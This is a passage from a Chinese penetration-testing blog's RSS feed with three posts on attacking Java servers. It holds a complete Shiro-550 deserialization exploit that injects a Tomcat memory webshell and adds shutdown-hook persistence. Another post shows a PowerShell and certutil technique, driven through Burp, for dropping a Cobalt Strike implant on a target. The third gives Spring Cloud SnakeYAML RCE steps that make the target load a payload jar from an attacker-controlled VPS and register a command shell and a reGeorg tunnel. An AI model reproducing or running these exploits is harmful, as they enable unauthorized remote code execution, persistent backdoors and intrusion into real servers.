                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", new Class[]{});
                    detach.invoke(machine, new Object[]{});
                    System.out.println("inject tomcat done, break.");
                    System.out.println("check url http://localhost:8080/?cmd=whoami");
                    break;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>运行这个类，传入agentPath就可以注入agent了。</p>
<p>在这里还碰到一个坑:<code>VirtualMachine.list()</code>获取为空，后来发现双击tomcat的startup.bat启动，在jconsole中也找不到jvm进程，然后一顿乱试发现通过命令行运行startup.bat就可以了。</p>
<h1>如何修改tomcat运行后已经加载的类</h1>
<p>其实这个问题在上面写agent的时候已经解决了，关键代码</p>
<pre><code class="language-java line-numbers">Class[] loadedClasses = inst.getAllLoadedClasses();

for (int i = 0; i &lt; loadedClasses.length; ++i) {
    Class clazz = loadedClasses[i];
    if (clazz.getName().equals(ClassName)) {
        try {
            inst.retransformClasses(new Class[]{clazz});
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>通过<code>Instrumentation</code>的<code>getAllLoadedClasses()</code>就能拿到tomcat运行后已经加载的类，再通过<code>retransformClasses()</code>重新转换下就可以了。</p>
<h1>如何通过反序列化注入</h1>
<p>我这里是shiro550 tomcat9的环境，根据 https://github.com/feihong-cs/ShiroExploit 的ysoserial工具抠出来CC10的链条，改了改。</p>
<pre><code class="language-java line-numbers">package org.chabug.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Reflections;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

// 依赖 commons-collections:commons-collections:3.2.1
// 依赖于 ysoserial javassist
public class CC10 {

    static {
        System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true");
        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    }

    public static Object createTemplatesImpl(String command) throws Exception {
        return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }

    public static &lt;T&gt; T createTemplatesImpl(String agentPath, Class&lt;T&gt; tplClass, Class&lt;?&gt; abstTranslet, Class&lt;?&gt; transFactory) throws Exception {
        T templates = tplClass.newInstance();
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        CtClass clazz = pool.get(StubTransletPayload.class.getName());
        String cmd = String.format(
                "        try {n" +
                        "java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");n" +
                        "java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();n" +
                        "java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});n" +
                        "add.setAccessible(true);n" +
                        "            add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});n" +
                        "Class/*&lt;?&gt;*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");n" +
                        "            Class/*&lt;?&gt;*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");" +
                        "java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod("list", null);n" +
                        "            java.util.List/*&lt;Object&gt;*/ invoke = (java.util.List/*&lt;Object&gt;*/) list.invoke(null, null);" +
                        "for (int i = 0; i &lt; invoke.size(); i++) {" +
                        "Object o = invoke.get(i);n" +
                        "                java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", null);n" +
                        "                Object name = displayName.invoke(o, null);n" +
                        "if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {" +
                        "                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{MyVirtualMachineDescriptor});n" +
                        "                    Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});n" +
                        "                    java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});n" +
                        "                    loadAgent.invoke(machine, new Object[]{"%s"});n" +
                        "                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);n" +
                        "                    detach.invoke(machine, null);n" +
                        "                    break;n" +
                        "}" +
                        "}" +
                        "} catch (Exception e) {n" +
                        "            e.printStackTrace();n" +
                        "        }"
                , agentPath.replaceAll("\\", "\\\\").replaceAll(""", "\""));

        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
        byte[] classBytes = clazz.toBytecode();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)});
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

    public static String classAsFile(Class&lt;?&gt; clazz) {
        return classAsFile(clazz, true);
    }

    public static String classAsFile(Class&lt;?&gt; clazz, boolean suffix) {
        String str;
        if (clazz.getEnclosingClass() == null) {
            str = clazz.getName().replace(".", "/");
        } else {
            str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
        }

        if (suffix) {
            str = str + ".class";
        }

        return str;
    }

    public static byte[] classAsBytes(Class&lt;?&gt; clazz) {
        try {
            byte[] buffer = new byte[1024];
            String file = classAsFile(clazz);
            InputStream in = CC10.class.getClassLoader().getResourceAsStream(file);
            if (in == null) {
                throw new IOException("couldn't find '" + file + "'");
            } else {
                ByteArrayOutputStream out = new ByteArrayOutputStream();

                int len;
                while ((len = in.read(buffer)) != -1) {
                    out.write(buffer, 0, len);
                }

                return out.toByteArray();
            }
        } catch (IOException var6) {
            throw new RuntimeException(var6);
        }
    }


    public static void main(String[] args) throws Exception {
        // this is your agent path
        String command = "E:\code\java\MyAgent\out\artifacts\MyAgent_jar\MyAgent.jar";
        Object templates = createTemplatesImpl(command);
        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformer);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;

        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException var17) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = null;
        innimpl = (HashMap) f.get(map);
        Field f2 = null;

        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException var16) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = new Object[0];
        array = (Object[]) ((Object[]) f2.get(innimpl));
        Object node = array[0];
        if (node == null) {
            node = array[1];
        }

        Field keyField = null;

        try {
            keyField = node.getClass().getDeclaredField("key");
        } catch (Exception var15) {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

        byte[] bytes = Serializables.serializeToBytes(map);
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
        System.out.println(rememberMe);
    }

    public static class Foo implements Serializable {
        private static final long serialVersionUID = 8207363842866235160L;

        public Foo() {
        }
    }

    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        private static final long serialVersionUID = -5971610431559700674L;

        public StubTransletPayload() {
        }

        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }

        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        }
    }


}

class Serializables {
    public static byte[] serializeToBytes(final Object obj) throws Exception {
        final ByteArrayOutputStream out = new ByteArrayOutputStream();
        final ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        objOut.flush();
        objOut.close();
        return out.toByteArray();
    }


    public static Object deserializeFromBytes(final byte[] serialized) throws Exception {
        final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        final ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }

    public static void serializeToFile(String path, Object obj) throws Exception {
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将obj对象写入object文件
        os.writeObject(obj);
        os.close();
    }

    public static Object serializeFromFile(String path) throws Exception {
        FileInputStream fis = new FileInputStream(path);
        ObjectInputStream ois = new ObjectInputStream(fis);
        // 通过Object的readObject()恢复对象
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }

}


class EncryptUtil {
    private static final String ENCRY_ALGORITHM = "AES";
    private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
    private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes();     // 16字节IV

    public EncryptUtil() {
    }

    public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
        try {
            SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
            Cipher cipher = Cipher.getInstance(CIPHER_MODE);
            IvParameterSpec iv = new IvParameterSpec(IV);
            cipher.init(1, keySpec, iv);
            byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
            return cipherTextBytes;
        } catch (NoSuchPaddingException var6) {
            var6.printStackTrace();
        } catch (NoSuchAlgorithmException var7) {
            var7.printStackTrace();
        } catch (BadPaddingException var8) {
            var8.printStackTrace();
        } catch (IllegalBlockSizeException var9) {
            var9.printStackTrace();
        } catch (InvalidKeyException var10) {
            var10.printStackTrace();
        } catch (Exception var11) {
            var11.printStackTrace();
        }

        return null;
    }

    public static String shiroEncrypt(String key, byte[] objectBytes) {
        byte[] pwd = Base64.decode(key);
        byte[] cipher = encrypt(objectBytes, pwd);

        assert cipher != null;

        byte[] output = new byte[pwd.length + cipher.length];
        byte[] iv = IV;
        System.arraycopy(iv, 0, output, 0, iv.length);
        System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
        return Base64.encode(output);
    }
}
</code></pre>
<p>在javassist插桩的时候碰到很多坑，比如泛型要用<code>/**/</code>包起来，反射的可变参数的处理等等，不一一细讲，参考我的代码就行了。</p>
<h1>效果</h1>
<p><img src="/wp-content/uploads/2020/10/21f519ec-a731-13c4-eb06-60d03b75fc67.gif" alt="shell.gif" /></p>
<p>项目地址：https://github.com/Y4er/javaagent-tomcat-memshell</p>
<h1>思考</h1>
<p>写到这里又看了一些文章，发现了一些问题。</p>
<h2>内存shell复活</h2>
<p>@rebeyond 师傅的memShell项目实现了内存shell复活，原理是通过设置Java虚拟机的关闭钩子ShutdownHook来达到这个目的，但是会有一个jar包循环等待jvm进程起来，更敏感，我就没实现这个东西，代码贴出来</p>
<pre><code class="language-java line-numbers">public static void persist() {
     try {
         Thread t = new Thread() {
             public void run() {
                 try {
                     writeFiles("inject.jar",Agent.injectFileBytes);
                     writeFiles("agent.jar",Agent.agentFileBytes);
                     startInject();
                 } catch (Exception e) {

                 }
             }
         };
         t.setName("shutdown Thread");
         Runtime.getRuntime().addShutdownHook(t);
     } catch (Throwable t) {
     }
}
</code></pre>
<p>JVM关闭前，会先调用writeFiles把inject.jar和agent.jar写到磁盘上，然后调用startInject，startInject通过Runtime.exec启动<code>java -jar inject.jar</code>。</p>
<h2>文件落地并且被锁定</h2>
<p>用javaagent的形式实现的内存shell，你需要落地一个agent进去，加载agent之后jar不能被删除，而落地agent会不会更敏感？</p>
<p>与其落地文件为什么不直接落地jsp shell，获取对于mvc和springboot这种有点作用，但是内存shell的意义确实被削弱了。</p>
<h2>通用性</h2>
<p>只需要寻找关键类即可，对于tomcat、weblogic这种还算通用，完全可以实现一个agent.jar通杀。</p>
<h2>关键类寻找</h2>
<p>如果关键类找不对，或者错了几个参数的命名，那么中间件正常处理filter的逻辑很可能发生错误，中间件很可能被打挂。虽然可以本地环境调试，但是每个发行版不同、补丁数的不同所带来的不稳定因素还是很大的。</p>
<h2>结论</h2>
<p>所以个人而言，agent类型的内存shell只能作为内存shell的一种开拓性思路，实际环境更应该倾向于servlet、filter这种内存shell，重在稳定。</p>
<h1>参考</h1>
<ol>
<li>https://www.cnblogs.com/rebeyond/p/9686213.html</li>
<li>https://github.com/rebeyond/memShell</li>
<li>https://www.cnblogs.com/rickiyang/p/11368932.html</li>
<li>https://github.com/Y4er/javaagent-tomcat-memshell</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>极限环境Certutil加Powershell配合Burp快速落地文件</title>
		<link>/web/1917.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 28 Sep 2020 07:10:17 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[certutil]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[powershell]]></category>
		<category><![CDATA[上线]]></category>
		<guid isPermaLink="false">/?p=1917</guid>

					<description><![CDATA[碰到一些极限环境，比如站库分离只出dns的时候，想上线cs的马，但是文件迟迟不能落地，相信很多人都会想到certutil等工具。 而在使用certutil base64通过echo...]]></description>
										<content:encoded><![CDATA[<p>碰到一些极限环境，比如站库分离只出<span class="wpcom_tag_link"><a href="/tags/dns" title="dns" target="_blank">dns</a></span>的时候，想<span class="wpcom_tag_link"><a href="/tags/%e4%b8%8a%e7%ba%bf" title="上线" target="_blank">上线</a></span>cs的马，但是文件迟迟不能落地，相信很多人都会想到<span class="wpcom_tag_link"><a href="/tags/certutil" title="certutil" target="_blank">certutil</a></span>等工具。</p>
<p>而在使用certutil base64通过echo写文件时，echo会在每行的末尾追加一个空格，加上http传输的URL编码问题，有一些傻逼环境总是decode时候出错，而且一些几十几百k的文件，一行一行echo实在是拉跨。所以用<span class="wpcom_tag_link"><a href="/tags/powershell" title="powershell" target="_blank">powershell</a></span>配合bp的爆破模块来写文件，然后 <code>certutil -decode</code> 就完事了，轻松省心。</p>
<pre><code class="language-powershell line-numbers">powershell -c "'a' | Out-File C:\1.txt -Append"
</code></pre>
<p>写文件的时候通过bp的爆破模块去单线程写入文件，举一个请求包的例子。</p>
<pre><code class="language-http line-numbers">/login HTTP/1.1
Host: baidu.com

cmd=powershell -c "'§§' | Out-File C:\1.txt -Append"
</code></pre>
<p>设置参数<br />
<img src="https://y4er.com/img/uploads/20200928158664.png" alt="image.png" /></p>
<p>设置certutil encode的txt字典<br />
<img src="https://y4er.com/img/uploads/20200928155864.png" alt="image.png" /></p>
<p>勾上URL编码<br />
<img src="https://y4er.com/img/uploads/20200928158567.png" alt="image.png" /></p>
<p>设置单线程，你也可以设置每次请求之后sleep 1秒。<br />
<img src="https://y4er.com/img/uploads/20200928152618.png" alt="image.png" /></p>
<p>冲完之后落地到目标的txt文件和本地的txt文件hash一致，decode之后的文件hash仍然一致。</p>
<p>本地还原文件的hash<br />
<img src="https://y4er.com/img/uploads/20200928152292.png" alt="image.png" /></p>
<p>落地到目标还原之后的文件hash<br />
<img src="https://y4er.com/img/uploads/20200928150771.png" alt="image.png" /></p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Spring Cloud SnakeYAML 一键注册内存cmd shell和reGeorg</title>
		<link>/web/1913.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 24 Sep 2020 11:30:03 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[regeorg]]></category>
		<category><![CDATA[spring]]></category>
		<category><![CDATA[内存shell]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1913</guid>

					<description><![CDATA[项目地址 https://github.com/Y4er/yaml-payload README 利用条件： &#8211; 可以 POST 请求目标网站的 /env 接口设置属性...]]></description>
										<content:encoded><![CDATA[<h1>项目地址</h1>
<p>https://github.com/Y4er/yaml-payload</p>
<h1>README</h1>
<p>利用条件：<br />
&#8211; 可以 POST 请求目标网站的 <code>/env</code> 接口设置属性<br />
&#8211; 可以 POST 请求目标网站的 <code>/refresh</code> 接口刷新配置（存在 <code><span class="wpcom_tag_link"><a href="/tags/spring" title="spring" target="_blank">spring</a></span>-boot-starter-actuator</code> 依赖）<br />
&#8211; 目标依赖的 <code>spring-cloud-starter</code> 版本 &lt; 1.3.0.RELEASE<br />
&#8211; 目标可以请求攻击者的 HTTP 服务器（请求可出外网）</p>
<p>仅在JDK1.8及Spring1.x测试通过,其他版本自测.</p>
<p>利用方法如下：</p>
<h2>编译class文件然后打jar包</h2>
<pre><code class="language-bash line-numbers">cd yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java -cp ./lib
javac src/artsploit/Tunnel.java -cp ./lib
javac src/artsploit/GameInfo.java -cp ./lib
jar -cvf yaml-payload.jar -C src/ .
</code></pre>
<h2>托管 yml 和 jar 文件</h2>
<p>在自己控制的<code>vps</code>机器上开启一个简单<code>HTTP</code>服务器，端口尽量使用常见<code>HTTP</code>服务端口（80、443）</p>
<pre><code class="language-bash line-numbers"># 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
</code></pre>
<p>在网站根目录下放置后缀为<code>yml</code>的文件<code>yaml-payload.yml</code>,内容如下:</p>
<pre><code class="language-yaml line-numbers">!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/yaml-payload.jar"]
  ]]
]
</code></pre>
<p>在网站根目录下放置打包好的<code>yaml-payload.jar</code></p>
<h2>设置<code>spring.cloud.bootstrap.location</code>属性</h2>
<pre><code class="line-numbers">POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/yaml-payload.yml
</code></pre>
<h2>刷新配置</h2>
<pre><code class="line-numbers">POST /refresh
Content-Type: application/x-www-form-urlencoded
</code></pre>
<h2>访问注入的shell</h2>
<ol>
<li>reGeorg: http://localhost:9092/api/v1/tunnel</li>
<li>cmd shell: http://localhost:9092/api/v1/game POST:code=whoami</li>
</ol>
<h1>参考</h1>
<ol>
<li>https://github.com/LandGrey/SpringBootVulExploit</li>
<li>https://www.anquanke.com/post/id/198886</li>
<li>https://github.com/artsploit/yaml-payload</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
